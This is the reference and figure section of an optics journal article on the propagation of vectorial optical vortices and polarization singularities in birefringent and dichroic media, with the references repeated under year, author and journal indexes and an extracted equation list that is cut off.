[CrossRef] [PubMed]\n\n15. F. Flossmann, U.T. Schwarz, M. Maier, and M.R. Dennis, “Polarization singularities from unfolding an optical vortex through a birefringent crystal,” Phys. Rev. Lett. 95253901 (2005). [CrossRef] [PubMed]\n\n16. F. Flossmann, U.T. Schwarz, M. Maier, and M.R. Dennis, “Stokes parameters in the unfolding of an optical vortex through a birefringent crystal,” Opt. Express 14, 11402–11411 (2006). [CrossRef] [PubMed]\n\n17. R.M.A. Azzam and N.M. Bashara, Ellipsometry and polarized light (North-Holland, 1977).\n\n18. C. Brosseau, Fundamentals of polarized light (John Wiley & Sons, 1998).\n\n19. R.M.A. Azzam, “Propagation of partially polarized light through anisotropic media with or without depolarization: a differential 4×4 matrix calculus,” J. Opt. Soc. Am. 68, 1756–1767 (1978). [CrossRef]\n\n20. C.S. Brown and A.E. Bak, “Unified formalism for polarization optics with application to polarimetry on a twisted optical fiber,” Opt. Eng. 34, 1625–1635 (1995). [CrossRef]\n\n21. C. Brosseau, “Evolution of the Stokes parameters in optically anisotropic media,” Opt. Lett. 20, 1221–1223 (1995). [CrossRef] [PubMed]\n\n22. H. Kuratsuji and S. Kakigi, “Maxwell-Schrödinger equation for polarized light and evolution of the Stokes parameters,” Phys. Rev. Lett. 80, 1888–1891 (1998). [CrossRef]\n\n23. S.E. Segre, “New formalism for the analysis of polarization evolution for radiation in a weakly nonuniform, fully anisotropic medium: a magnetized plasma,” J. Opt. Soc. Am. A 18, 2601–2606 (2001). [CrossRef]\n\n24. R. Botet, H. Kuratsuji, and R. Seto, “Novel aspects of evolution of the Stokes parameters for an electromagnetic wave in anisotropic media,” Prog. Theor. Phys. 116, 285–294 (2006). [CrossRef]\n\n25. K.Y. Bliokh, D.Y. Frolov, and Y.A. Kravtsov, “Non-Abelian evolution of electromagnetic waves in a weakly anisotropic inhomogeneous medium,” Phys. Rev. A 75, 053821 (2007). [CrossRef]\n\n26. Y.A. Kravtsov, B. Bieg, and K.Y. Bliokh, “Stokes-vector evolution in a weakly anisotropic inhomogeneous medium,” J. Opt. Soc. Am. A 24, 3388–3396 (2007). [CrossRef]\n\n27. R. Barakat, “Bilinear constraints between elements of the 4×4 Mueller-Jones transfer matrix of polarization theory,” Opt. Commun. 38, 159–161 (1981). [CrossRef]\n\n28. R. Simon, “The connection between Mueller and Jones matrices of polarization optics,” Opt. Commun. 42, 293–297 (1982). [CrossRef]\n\n29. S.R. Cloude, “Group theory and polarization algebra,” Optik 75, 26–32 (1986).\n\n30. T. Opartny and J. Perina, “Non-image-forming polarization optical devices and Lorentz transformation — an analogy,” Phys. Lett. A 181, 199–202 (1993). [CrossRef]\n\n31. D. Han, Y.S. Kim, and M.E. Noz, “Polarization optics and bilinear representation of the Lorentz group,” Phys. Lett. A 219, 26–32 (1996). [CrossRef]\n\n32. V.B. Berestetskii, E.M. Lifshits, and L.P. Pitaevskii, Quantum Electrodynamics (Pergamon, Oxford, 1982).\n\n33. C.P. Slichter, Principles of Magnetic Resonance (Springer-Verlag, New York, 1989).\n\n34. H. Goldstein, C. Poole, and J. Safko, Classical Mechanics (Addison Wesley, San Francisco, 2002).\n\n35. A.D. Kiselev, “Singularities in polarization resolved angular patterns: transmittance of nematic liquid crystal cells,” J. Phys.: Condens. Matter 19, 246102 (2007). [CrossRef]\n\n### References\n\n• View by:\n\n1. M.V. Berry, “Singularities in waves and rays,” in R. Balian, M. Kléman, and J.-P. Poirier, editors, Les Houches Session XXV - Physics of Defects (North-Holland, 1981).\n2. J.F. Nye, Natural focusing and fine structure of light: caustics and wave dislocations (IoP Publishing, 1999).\n3. M.S. Soskin and M.V. Vasnetsov, “Singular optics,” Prog. Opt. 42, 219–276 (2001).\n[Crossref]\n4. L. Allen, M.J. Padgett, and M. Babiker, “The orbital angular momentum of light,” Prog. Opt. 39, 291–372 (1999).\n[Crossref]\n5. J.F. Nye, “Lines of circular polarization in electromagnetic wave fields,” Proc. R. Soc. London A 389, 279–290 (1983).\n[Crossref]\n6. J.F. Nye and J.V. Hajnal, “The wave structure of monochromatic electromagnetic radiation,” Proc. R. Soc. London A 409, 21–36 (1987).\n[Crossref]\n7. M.V. Berry and M.R. Dennis, “Polarization singularities in isotropic random vector waves,” Proc. R. Soc. London A 457, 141–155 (2001).\n[Crossref]\n8. I. Freund, “Polarization singularity indices in Gaussian laser beams,” Opt. Commun. 201, 251–270 (2002).\n[Crossref]\n9. M.R. Dennis, “Polarization singularities in paraxial vector fields: morphology and statistics,” Opt. Commun. 213201–221 (2002).\n[Crossref]\n10. J. Masajada and B. Dubik, “Optical vortex generation by three plane wave interference,” Opt. Commun. 198, 21–27 (2001).\n[Crossref]\n11. I. Freund, N. Shvartsman, and V. Freilikher, “Optical dislocation networks in highly random media,” Opt. Commun. 101, 247–264 (1993).\n[Crossref]\n12. E. Hasman, G. Biener, A. Niv, and V. Kleiner, “Space-variant polarization manipulation,” Prog. Opt. 47, 215–289 (2005).\n[Crossref]\n13. A. Niv, G. Biener, V. Kleiner, and E. Hasman, “Manipulation of the Pancharatnam phase in vectorial vortices,” Opt. Express 14, 4208–4220 (2006).\n[Crossref] [PubMed]\n14. K. Yu. Bliokh, “Geometrical optics of beams with vortices: Berry phase and orbital angular momentum Hall effect,” Phys. Rev. Lett. 97, 043901 (2006).\n[Crossref] [PubMed]\n15. F. Flossmann, U.T. Schwarz, M. Maier, and M.R. Dennis, “Polarization singularities from unfolding an optical vortex through a birefringent crystal,” Phys. Rev. Lett. 95253901 (2005).\n[Crossref] [PubMed]\n16. F. Flossmann, U.T. Schwarz, M. Maier, and M.R. Dennis, “Stokes parameters in the unfolding of an optical vortex through a birefringent crystal,” Opt. Express 14, 11402–11411 (2006).\n[Crossref] [PubMed]\n17. R.M.A. Azzam and N.M. Bashara, Ellipsometry and polarized light (North-Holland, 1977).\n18. C. Brosseau, Fundamentals of polarized light (John Wiley & Sons, 1998).\n19. R.M.A. Azzam, “Propagation of partially polarized light through anisotropic media with or without depolarization: a differential 4×4 matrix calculus,” J. Opt. Soc. Am. 68, 1756–1767 (1978).\n[Crossref]\n20. C.S. Brown and A.E. Bak, “Unified formalism for polarization optics with application to polarimetry on a twisted optical fiber,” Opt. Eng. 34, 1625–1635 (1995).\n[Crossref]\n21. C. Brosseau, “Evolution of the Stokes parameters in optically anisotropic media,” Opt. Lett. 20, 1221–1223 (1995).\n[Crossref] [PubMed]\n22. H. Kuratsuji and S. Kakigi, “Maxwell-Schrödinger equation for polarized light and evolution of the Stokes parameters,” Phys. Rev. Lett. 80, 1888–1891 (1998).\n[Crossref]\n23. S.E. Segre, “New formalism for the analysis of polarization evolution for radiation in a weakly nonuniform, fully anisotropic medium: a magnetized plasma,” J. Opt. Soc. Am. A 18, 2601–2606 (2001).\n[Crossref]\n24. R. Botet, H. Kuratsuji, and R. Seto, “Novel aspects of evolution of the Stokes parameters for an electromagnetic wave in anisotropic media,” Prog. Theor. Phys. 116, 285–294 (2006).\n[Crossref]\n25. K.Y. Bliokh, D.Y. Frolov, and Y.A. Kravtsov, “Non-Abelian evolution of electromagnetic waves in a weakly anisotropic inhomogeneous medium,” Phys. Rev. A 75, 053821 (2007).\n[Crossref]\n26. Y.A. Kravtsov, B. Bieg, and K.Y. Bliokh, “Stokes-vector evolution in a weakly anisotropic inhomogeneous medium,” J. Opt. Soc. Am. A 24, 3388–3396 (2007).\n[Crossref]\n27. R. Barakat, “Bilinear constraints between elements of the 4×4 Mueller-Jones transfer matrix of polarization theory,” Opt. Commun. 38, 159–161 (1981).\n[Crossref]\n28. R. Simon, “The connection between Mueller and Jones matrices of polarization optics,” Opt. Commun. 42, 293–297 (1982).\n[Crossref]\n29. S.R. Cloude, “Group theory and polarization algebra,” Optik 75, 26–32 (1986).\n30. T. Opartny and J. Perina, “Non-image-forming polarization optical devices and Lorentz transformation — an analogy,” Phys. Lett. A 181, 199–202 (1993).\n[Crossref]\n31. D. Han, Y.S. Kim, and M.E. Noz, “Polarization optics and bilinear representation of the Lorentz group,” Phys. Lett. A 219, 26–32 (1996).\n[Crossref]\n32. V.B. Berestetskii, E.M. Lifshits, and L.P. Pitaevskii, Quantum Electrodynamics (Pergamon, Oxford, 1982).\n33. C.P. Slichter, Principles of Magnetic Resonance (Springer-Verlag, New York, 1989).\n34. H. Goldstein, C. Poole, and J. Safko, Classical Mechanics (Addison Wesley, San Francisco, 2002).\n35. A.D. Kiselev, “Singularities in polarization resolved angular patterns: transmittance of nematic liquid crystal cells,” J. Phys.: Condens. Matter 19, 246102 (2007).\n[Crossref]\n\n#### 2007 (3)\n\nK.Y. Bliokh, D.Y. Frolov, and Y.A. Kravtsov, “Non-Abelian evolution of electromagnetic waves in a weakly anisotropic inhomogeneous medium,” Phys. Rev. A 75, 053821 (2007).\n[Crossref]\n\nA.D. Kiselev, “Singularities in polarization resolved angular patterns: transmittance of nematic liquid crystal cells,” J. Phys.: Condens. Matter 19, 246102 (2007).\n[Crossref]\n\n#### 2006 (4)\n\nR. Botet, H. Kuratsuji, and R. Seto, “Novel aspects of evolution of the Stokes parameters for an electromagnetic wave in anisotropic media,” Prog. Theor. Phys. 116, 285–294 (2006).\n[Crossref]\n\nK. Yu. Bliokh, “Geometrical optics of beams with vortices: Berry phase and orbital angular momentum Hall effect,” Phys. Rev. Lett. 97, 043901 (2006).\n[Crossref] [PubMed]\n\n#### 2005 (2)\n\nF. Flossmann, U.T. Schwarz, M. Maier, and M.R. Dennis, “Polarization singularities from unfolding an optical vortex through a birefringent crystal,” Phys. Rev. Lett. 95253901 (2005).\n[Crossref] [PubMed]\n\nE. Hasman, G. Biener, A. Niv, and V. Kleiner, “Space-variant polarization manipulation,” Prog. Opt. 47, 215–289 (2005).\n[Crossref]\n\n#### 2002 (2)\n\nI. Freund, “Polarization singularity indices in Gaussian laser beams,” Opt. Commun. 201, 251–270 (2002).\n[Crossref]\n\nM.R. Dennis, “Polarization singularities in paraxial vector fields: morphology and statistics,” Opt. Commun. 213201–221 (2002).\n[Crossref]\n\n#### 2001 (4)\n\nJ. Masajada and B. Dubik, “Optical vortex generation by three plane wave interference,” Opt. Commun. 198, 21–27 (2001).\n[Crossref]\n\nM.S. Soskin and M.V. Vasnetsov, “Singular optics,” Prog. Opt. 42, 219–276 (2001).\n[Crossref]\n\nM.V. Berry and M.R. Dennis, “Polarization singularities in isotropic random vector waves,” Proc. R. Soc. London A 457, 141–155 (2001).\n[Crossref]\n\n#### 1999 (1)\n\nL. Allen, M.J. Padgett, and M. Babiker, “The orbital angular momentum of light,” Prog. Opt. 39, 291–372 (1999).\n[Crossref]\n\n#### 1998 (1)\n\nH. Kuratsuji and S. Kakigi, “Maxwell-Schrödinger equation for polarized light and evolution of the Stokes parameters,” Phys. Rev. Lett. 80, 1888–1891 (1998).\n[Crossref]\n\n#### 1996 (1)\n\nD. Han, Y.S. Kim, and M.E. Noz, “Polarization optics and bilinear representation of the Lorentz group,” Phys. Lett. A 219, 26–32 (1996).\n[Crossref]\n\n#### 1995 (2)\n\nC.S. Brown and A.E. Bak, “Unified formalism for polarization optics with application to polarimetry on a twisted optical fiber,” Opt. Eng. 34, 1625–1635 (1995).\n[Crossref]\n\n#### 1993 (2)\n\nI. Freund, N. Shvartsman, and V. Freilikher, “Optical dislocation networks in highly random media,” Opt. Commun. 101, 247–264 (1993).\n[Crossref]\n\nT. Opartny and J. Perina, “Non-image-forming polarization optical devices and Lorentz transformation — an analogy,” Phys. Lett. A 181, 199–202 (1993).\n[Crossref]\n\n#### 1987 (1)\n\nJ.F. Nye and J.V. Hajnal, “The wave structure of monochromatic electromagnetic radiation,” Proc. R. Soc. London A 409, 21–36 (1987).\n[Crossref]\n\n#### 1986 (1)\n\nS.R. Cloude, “Group theory and polarization algebra,” Optik 75, 26–32 (1986).\n\n#### 1983 (1)\n\nJ.F. Nye, “Lines of circular polarization in electromagnetic wave fields,” Proc. R. Soc. London A 389, 279–290 (1983).\n[Crossref]\n\n#### 1982 (1)\n\nR. Simon, “The connection between Mueller and Jones matrices of polarization optics,” Opt. Commun. 42, 293–297 (1982).\n[Crossref]\n\n#### 1981 (1)\n\nR. Barakat, “Bilinear constraints between elements of the 4×4 Mueller-Jones transfer matrix of polarization theory,” Opt. Commun. 38, 159–161 (1981).\n[Crossref]\n\n#### Allen, L.\n\nL. Allen, M.J. Padgett, and M. Babiker, “The orbital angular momentum of light,” Prog. Opt. 39, 291–372 (1999).\n[Crossref]\n\n#### Azzam, R.M.A.\n\nR.M.A. Azzam and N.M. Bashara, Ellipsometry and polarized light (North-Holland, 1977).\n\n#### Babiker, M.\n\nL. Allen, M.J. Padgett, and M. Babiker, “The orbital angular momentum of light,” Prog. Opt. 39, 291–372 (1999).\n[Crossref]\n\n#### Bak, A.E.\n\nC.S. Brown and A.E. Bak, “Unified formalism for polarization optics with application to polarimetry on a twisted optical fiber,” Opt. Eng. 34, 1625–1635 (1995).\n[Crossref]\n\n#### Barakat, R.\n\nR. Barakat, “Bilinear constraints between elements of the 4×4 Mueller-Jones transfer matrix of polarization theory,” Opt. Commun. 38, 159–161 (1981).\n[Crossref]\n\n#### Bashara, N.M.\n\nR.M.A. Azzam and N.M. Bashara, Ellipsometry and polarized light (North-Holland, 1977).\n\n#### Berestetskii, V.B.\n\nV.B. Berestetskii, E.M. Lifshits, and L.P. Pitaevskii, Quantum Electrodynamics (Pergamon, Oxford, 1982).\n\n#### Berry, M.V.\n\nM.V. Berry and M.R. Dennis, “Polarization singularities in isotropic random vector waves,” Proc. R. Soc. London A 457, 141–155 (2001).\n[Crossref]\n\nM.V. Berry, “Singularities in waves and rays,” in R. Balian, M. Kléman, and J.-P. Poirier, editors, Les Houches Session XXV - Physics of Defects (North-Holland, 1981).\n\n#### Biener, G.\n\nE. Hasman, G. Biener, A. Niv, and V. Kleiner, “Space-variant polarization manipulation,” Prog. Opt. 47, 215–289 (2005).\n[Crossref]\n\n#### Bliokh, K. Yu.\n\nK. Yu. Bliokh, “Geometrical optics of beams with vortices: Berry phase and orbital angular momentum Hall effect,” Phys. Rev. Lett. 97, 043901 (2006).\n[Crossref] [PubMed]\n\n#### Bliokh, K.Y.\n\nK.Y. Bliokh, D.Y. Frolov, and Y.A. Kravtsov, “Non-Abelian evolution of electromagnetic waves in a weakly anisotropic inhomogeneous medium,” Phys. Rev. A 75, 053821 (2007).\n[Crossref]\n\n#### Botet, R.\n\nR. Botet, H. Kuratsuji, and R. Seto, “Novel aspects of evolution of the Stokes parameters for an electromagnetic wave in anisotropic media,” Prog. Theor. Phys. 116, 285–294 (2006).\n[Crossref]\n\n#### Brosseau, C.\n\nC. Brosseau, Fundamentals of polarized light (John Wiley & Sons, 1998).\n\n#### Brown, C.S.\n\nC.S. Brown and A.E. Bak, “Unified formalism for polarization optics with application to polarimetry on a twisted optical fiber,” Opt. Eng. 34, 1625–1635 (1995).\n[Crossref]\n\n#### Cloude, S.R.\n\nS.R. Cloude, “Group theory and polarization algebra,” Optik 75, 26–32 (1986).\n\n#### Dennis, M.R.\n\nF. Flossmann, U.T. Schwarz, M. Maier, and M.R. Dennis, “Polarization singularities from unfolding an optical vortex through a birefringent crystal,” Phys. Rev. Lett. 95253901 (2005).\n[Crossref] [PubMed]\n\nM.R. Dennis, “Polarization singularities in paraxial vector fields: morphology and statistics,” Opt. Commun. 213201–221 (2002).\n[Crossref]\n\nM.V. Berry and M.R. Dennis, “Polarization singularities in isotropic random vector waves,” Proc. R. Soc. London A 457, 141–155 (2001).\n[Crossref]\n\n#### Dubik, B.\n\nJ. Masajada and B. Dubik, “Optical vortex generation by three plane wave interference,” Opt. Commun. 198, 21–27 (2001).\n[Crossref]\n\n#### Flossmann, F.\n\nF. Flossmann, U.T. Schwarz, M. Maier, and M.R. Dennis, “Polarization singularities from unfolding an optical vortex through a birefringent crystal,” Phys. Rev. Lett. 95253901 (2005).\n[Crossref] [PubMed]\n\n#### Freilikher, V.\n\nI. Freund, N. Shvartsman, and V. Freilikher, “Optical dislocation networks in highly random media,” Opt. Commun. 101, 247–264 (1993).\n[Crossref]\n\n#### Freund, I.\n\nI. Freund, “Polarization singularity indices in Gaussian laser beams,” Opt. Commun. 201, 251–270 (2002).\n[Crossref]\n\nI. Freund, N. Shvartsman, and V. Freilikher, “Optical dislocation networks in highly random media,” Opt. Commun. 101, 247–264 (1993).\n[Crossref]\n\n#### Frolov, D.Y.\n\nK.Y. Bliokh, D.Y. Frolov, and Y.A. Kravtsov, “Non-Abelian evolution of electromagnetic waves in a weakly anisotropic inhomogeneous medium,” Phys. Rev. A 75, 053821 (2007).\n[Crossref]\n\n#### Goldstein, H.\n\nH. Goldstein, C. Poole, and J. Safko, Classical Mechanics (Addison Wesley, San Francisco, 2002).\n\n#### Hajnal, J.V.\n\nJ.F. Nye and J.V. Hajnal, “The wave structure of monochromatic electromagnetic radiation,” Proc. R. Soc. London A 409, 21–36 (1987).\n[Crossref]\n\n#### Han, D.\n\nD. Han, Y.S. Kim, and M.E. Noz, “Polarization optics and bilinear representation of the Lorentz group,” Phys. Lett. A 219, 26–32 (1996).\n[Crossref]\n\n#### Hasman, E.\n\nE. Hasman, G. Biener, A. Niv, and V. Kleiner, “Space-variant polarization manipulation,” Prog. Opt. 47, 215–289 (2005).\n[Crossref]\n\n#### Kakigi, S.\n\nH. Kuratsuji and S. Kakigi, “Maxwell-Schrödinger equation for polarized light and evolution of the Stokes parameters,” Phys. Rev. Lett. 80, 1888–1891 (1998).\n[Crossref]\n\n#### Kim, Y.S.\n\nD. Han, Y.S. Kim, and M.E. Noz, “Polarization optics and bilinear representation of the Lorentz group,” Phys. Lett. A 219, 26–32 (1996).\n[Crossref]\n\n#### Kiselev, A.D.\n\nA.D. Kiselev, “Singularities in polarization resolved angular patterns: transmittance of nematic liquid crystal cells,” J. Phys.: Condens. Matter 19, 246102 (2007).\n[Crossref]\n\n#### Kleiner, V.\n\nE. Hasman, G. Biener, A. Niv, and V. Kleiner, “Space-variant polarization manipulation,” Prog. Opt. 47, 215–289 (2005).\n[Crossref]\n\n#### Kravtsov, Y.A.\n\nK.Y. Bliokh, D.Y. Frolov, and Y.A. Kravtsov, “Non-Abelian evolution of electromagnetic waves in a weakly anisotropic inhomogeneous medium,” Phys. Rev. A 75, 053821 (2007).\n[Crossref]\n\n#### Kuratsuji, H.\n\nR. Botet, H. Kuratsuji, and R. Seto, “Novel aspects of evolution of the Stokes parameters for an electromagnetic wave in anisotropic media,” Prog. Theor. Phys. 116, 285–294 (2006).\n[Crossref]\n\nH. Kuratsuji and S. Kakigi, “Maxwell-Schrödinger equation for polarized light and evolution of the Stokes parameters,” Phys. Rev. Lett. 80, 1888–1891 (1998).\n[Crossref]\n\n#### Lifshits, E.M.\n\nV.B. Berestetskii, E.M. Lifshits, and L.P. Pitaevskii, Quantum Electrodynamics (Pergamon, Oxford, 1982).\n\n#### Maier, M.\n\nF. Flossmann, U.T. Schwarz, M. Maier, and M.R. Dennis, “Polarization singularities from unfolding an optical vortex through a birefringent crystal,” Phys. Rev. Lett. 95253901 (2005).\n[Crossref] [PubMed]\n\nJ. Masajada and B. Dubik, “Optical vortex generation by three plane wave interference,” Opt. Commun. 198, 21–27 (2001).\n[Crossref]\n\n#### Niv, A.\n\nE. Hasman, G. Biener, A. Niv, and V. Kleiner, “Space-variant polarization manipulation,” Prog. Opt. 47, 215–289 (2005).\n[Crossref]\n\n#### Noz, M.E.\n\nD. Han, Y.S. Kim, and M.E. Noz, “Polarization optics and bilinear representation of the Lorentz group,” Phys. Lett. A 219, 26–32 (1996).\n[Crossref]\n\n#### Nye, J.F.\n\nJ.F. Nye and J.V. Hajnal, “The wave structure of monochromatic electromagnetic radiation,” Proc. R. Soc. London A 409, 21–36 (1987).\n[Crossref]\n\nJ.F. Nye, “Lines of circular polarization in electromagnetic wave fields,” Proc. R. Soc. London A 389, 279–290 (1983).\n[Crossref]\n\nJ.F. Nye, Natural focusing and fine structure of light: caustics and wave dislocations (IoP Publishing, 1999).\n\n#### Opartny, T.\n\nT. Opartny and J. Perina, “Non-image-forming polarization optical devices and Lorentz transformation — an analogy,” Phys. Lett. A 181, 199–202 (1993).\n[Crossref]\n\nL. Allen, M.J. Padgett, and M. Babiker, “The orbital angular momentum of light,” Prog. Opt. 39, 291–372 (1999).\n[Crossref]\n\n#### Perina, J.\n\nT. Opartny and J. Perina, “Non-image-forming polarization optical devices and Lorentz transformation — an analogy,” Phys. Lett. A 181, 199–202 (1993).\n[Crossref]\n\n#### Pitaevskii, L.P.\n\nV.B. Berestetskii, E.M. Lifshits, and L.P. Pitaevskii, Quantum Electrodynamics (Pergamon, Oxford, 1982).\n\n#### Poole, C.\n\nH. Goldstein, C. Poole, and J. Safko, Classical Mechanics (Addison Wesley, San Francisco, 2002).\n\n#### Safko, J.\n\nH. Goldstein, C. Poole, and J. Safko, Classical Mechanics (Addison Wesley, San Francisco, 2002).\n\n#### Schwarz, U.T.\n\nF. Flossmann, U.T. Schwarz, M. Maier, and M.R. Dennis, “Polarization singularities from unfolding an optical vortex through a birefringent crystal,” Phys. Rev. Lett. 95253901 (2005).\n[Crossref] [PubMed]\n\n#### Seto, R.\n\nR. Botet, H. Kuratsuji, and R. Seto, “Novel aspects of evolution of the Stokes parameters for an electromagnetic wave in anisotropic media,” Prog. Theor. Phys. 116, 285–294 (2006).\n[Crossref]\n\n#### Shvartsman, N.\n\nI. Freund, N. Shvartsman, and V. Freilikher, “Optical dislocation networks in highly random media,” Opt. Commun. 101, 247–264 (1993).\n[Crossref]\n\n#### Simon, R.\n\nR. Simon, “The connection between Mueller and Jones matrices of polarization optics,” Opt. Commun. 42, 293–297 (1982).\n[Crossref]\n\n#### Slichter, C.P.\n\nC.P. Slichter, Principles of Magnetic Resonance (Springer-Verlag, New York, 1989).\n\n#### Soskin, M.S.\n\nM.S. Soskin and M.V. Vasnetsov, “Singular optics,” Prog. Opt. 42, 219–276 (2001).\n[Crossref]\n\n#### Vasnetsov, M.V.\n\nM.S. Soskin and M.V. Vasnetsov, “Singular optics,” Prog. Opt. 42, 219–276 (2001).\n[Crossref]\n\n#### J. Phys.: Condens. Matter (1)\n\nA.D. Kiselev, “Singularities in polarization resolved angular patterns: transmittance of nematic liquid crystal cells,” J. Phys.: Condens. Matter 19, 246102 (2007).\n[Crossref]\n\n#### Opt. Commun. (6)\n\nR. Barakat, “Bilinear constraints between elements of the 4×4 Mueller-Jones transfer matrix of polarization theory,” Opt. Commun. 38, 159–161 (1981).\n[Crossref]\n\nR. Simon, “The connection between Mueller and Jones matrices of polarization optics,” Opt. Commun. 42, 293–297 (1982).\n[Crossref]\n\nI. Freund, “Polarization singularity indices in Gaussian laser beams,” Opt. Commun. 201, 251–270 (2002).\n[Crossref]\n\nM.R. Dennis, “Polarization singularities in paraxial vector fields: morphology and statistics,” Opt. Commun. 213201–221 (2002).\n[Crossref]\n\nJ. Masajada and B. Dubik, “Optical vortex generation by three plane wave interference,” Opt. Commun. 198, 21–27 (2001).\n[Crossref]\n\nI. Freund, N. Shvartsman, and V. Freilikher, “Optical dislocation networks in highly random media,” Opt. Commun. 101, 247–264 (1993).\n[Crossref]\n\n#### Opt. Eng. (1)\n\nC.S. Brown and A.E. Bak, “Unified formalism for polarization optics with application to polarimetry on a twisted optical fiber,” Opt. Eng. 34, 1625–1635 (1995).\n[Crossref]\n\n#### Optik (1)\n\nS.R. Cloude, “Group theory and polarization algebra,” Optik 75, 26–32 (1986).\n\n#### Phys. Lett. A (2)\n\nT. Opartny and J. Perina, “Non-image-forming polarization optical devices and Lorentz transformation — an analogy,” Phys. Lett. A 181, 199–202 (1993).\n[Crossref]\n\nD. Han, Y.S. Kim, and M.E. Noz, “Polarization optics and bilinear representation of the Lorentz group,” Phys. Lett. A 219, 26–32 (1996).\n[Crossref]\n\n#### Phys. Rev. A (1)\n\nK.Y. Bliokh, D.Y. Frolov, and Y.A. Kravtsov, “Non-Abelian evolution of electromagnetic waves in a weakly anisotropic inhomogeneous medium,” Phys. Rev. A 75, 053821 (2007).\n[Crossref]\n\n#### Phys. Rev. Lett. (3)\n\nH. Kuratsuji and S. Kakigi, “Maxwell-Schrödinger equation for polarized light and evolution of the Stokes parameters,” Phys. Rev. Lett. 80, 1888–1891 (1998).\n[Crossref]\n\nK. Yu. Bliokh, “Geometrical optics of beams with vortices: Berry phase and orbital angular momentum Hall effect,” Phys. Rev. Lett. 97, 043901 (2006).\n[Crossref] [PubMed]\n\nF. Flossmann, U.T. Schwarz, M. Maier, and M.R. Dennis, “Polarization singularities from unfolding an optical vortex through a birefringent crystal,” Phys. Rev. Lett. 95253901 (2005).\n[Crossref] [PubMed]\n\n#### Proc. R. Soc. London A (3)\n\nJ.F. Nye, “Lines of circular polarization in electromagnetic wave fields,” Proc. R. Soc. London A 389, 279–290 (1983).\n[Crossref]\n\nJ.F. Nye and J.V. Hajnal, “The wave structure of monochromatic electromagnetic radiation,” Proc. R. Soc. London A 409, 21–36 (1987).\n[Crossref]\n\nM.V. Berry and M.R. Dennis, “Polarization singularities in isotropic random vector waves,” Proc. R. Soc. London A 457, 141–155 (2001).\n[Crossref]\n\n#### Prog. Opt. (3)\n\nE. Hasman, G. Biener, A. Niv, and V. Kleiner, “Space-variant polarization manipulation,” Prog. Opt. 47, 215–289 (2005).\n[Crossref]\n\nM.S. Soskin and M.V. Vasnetsov, “Singular optics,” Prog. Opt. 42, 219–276 (2001).\n[Crossref]\n\nL. Allen, M.J. Padgett, and M. Babiker, “The orbital angular momentum of light,” Prog. Opt. 39, 291–372 (1999).\n[Crossref]\n\n#### Prog. Theor. Phys. (1)\n\nR. Botet, H. Kuratsuji, and R. Seto, “Novel aspects of evolution of the Stokes parameters for an electromagnetic wave in anisotropic media,” Prog. Theor. Phys. 116, 285–294 (2006).\n[Crossref]\n\n#### Other (7)\n\nR.M.A. Azzam and N.M. Bashara, Ellipsometry and polarized light (North-Holland, 1977).\n\nC. Brosseau, Fundamentals of polarized light (John Wiley & Sons, 1998).\n\nV.B. Berestetskii, E.M. Lifshits, and L.P. Pitaevskii, Quantum Electrodynamics (Pergamon, Oxford, 1982).\n\nC.P. Slichter, Principles of Magnetic Resonance (Springer-Verlag, New York, 1989).\n\nH. Goldstein, C. Poole, and J. Safko, Classical Mechanics (Addison Wesley, San Francisco, 2002).\n\nM.V. Berry, “Singularities in waves and rays,” in R. Balian, M. Kléman, and J.-P. Poirier, editors, Les Houches Session XXV - Physics of Defects (North-Holland, 1981).\n\nJ.F. Nye, Natural focusing and fine structure of light: caustics and wave dislocations (IoP Publishing, 1999).\n\n### Cited By\n\nOptica participates in Crossref's Cited-By Linking service. Citing articles from Optica Publishing Group journals and other participating publishers are listed here.\n\n### Figures (5)\n\nFig. 1. Distributions of Stokes vectors (upper panel) and of polarization ellipses (lower panel) for vectorial vortices Eqs. (25) with a C-point in the center, Eq. (26), at different values of azimuthal index m. Hereafter, δ=0 and directions of Stokes vectors are naturally depicted in the real space with the s 1, s 2, and s 3 components pointing along the x, y, and z axis, respectively.\nFig. 2. C-lines and L-surfaces under propagation of the vectorial vortex, Eqs. (25) and (26), with m=3 and χ=1 in a linearly-birefringent medium with ω=(1, 0,0). Dimensionless coordinates ξ=x/ρ*, η=y/ρ*, and ζz/π are used, whereas red and blue colors indicate C-lines with χ=1 and χ=-1, respectively.\nFig. 3. Distributions of Stokes vectors, Eq. (12), (upper panel) and of polarization ellipses (lower panel) for vectorial vortex, Eqs. (25) and (26), with m=3 and χ=1, propagating in a linearly-birefringent medium with ω=(1, 0,0), Fig. 2. Distributions are shown at different propagation distances ζz/π within half-period. Red and blue colors indicate areas with right-hand (s 3>0) and left-hand (s 3<0) polarizations. C-points are marked by dots (upper panel) and crosses (lower panel).\nFig. 4. C-lines and L-surfaces under propagation of the vectorial vortex, Eqs. (25) and (26), with m=3 and χ=1 in a dichroic medium. Pictures (a) and (b) correspond to circularly- and linearly-dichroic media with σ=(0,0,-1) and σ=(1,0,0), respectively. Dimensionless coordinates ξ=x/ρ*, η=y/ρ*, and ζz are used.\nFig. 5. Distributions of Stokes vectors, Eq. (18), (upper panel) and of polarization ellipses (lower panel) for vectorial vortex, Eqs. (25) and (26), with m=3 and χ=1, propagating in a linearly-dichroic medium with σ=(1,0,0), Fig. 4b. Distributions are shown at different propagation distances ζz. C-points are marked by dots (upper panel) and crosses (lower panel).\n\n### Equations (41)\n\n$s ( x , y , 0 ) = s 0 ( x , y ) ,$\n$∂ s ∂ z = m ̂ s ,$\n$s 1 = 0 , s 2 = 0 ,$\n$s 3 = 0 .$\n$z P ≤ z ≪ z R , z D .$\n$∂ S → ∂ z = M ̂ S → ,$\n$ε ̂ = ε 0 I ̂ 2 + ν ̂ ≡ ( ε 0 + ν x x ν x y ν y x ε 0 + ν y y ) .$\n$M ̂ = ( Im G 0 Im G 1 Im G 2 Im G 3 Im G 1 Im G 0 − Re G 3 Re G 2 Im G 2 Re G 3 Im G 0 − Re G 1 Im G 3 − Re G 2 Re G 1 Im G 0 ) .$\n$G → = − k 0 2 ε 0 [ ( ν x x + ν y y ) , ( ν x x − ν y y ) , ( ν x y + ν y x ) , i ( ν x y − ν y x ) ] T ,$\n$M ̂ = Im G 0 I ̂ 4 + ( 0 Im G 1 Im G 2 Im G 3 Im G 1 0 0 0 Im G 2 0 0 0 Im G 3 0 0 0 ) + ( 0 0 0 0 0 0 − Re G 3 Re G 2 0 Re G 3 0 − Re G 1 0 − Re G 2 Re G 1 0 ) ,$\n$∂ s ∂ z = ( Ω + s × ∑ ) × s ,$\n$∂ s ∂ z = Ω × s .$\n$s = s 0 cos ( Ω z ) + ( ω × s 0 ) sin ( Ω z ) + ( ω s 0 ) ω [ 1 − cos ( Ω z ) ] .$\n$s 01 = 0 , s 02 = 0 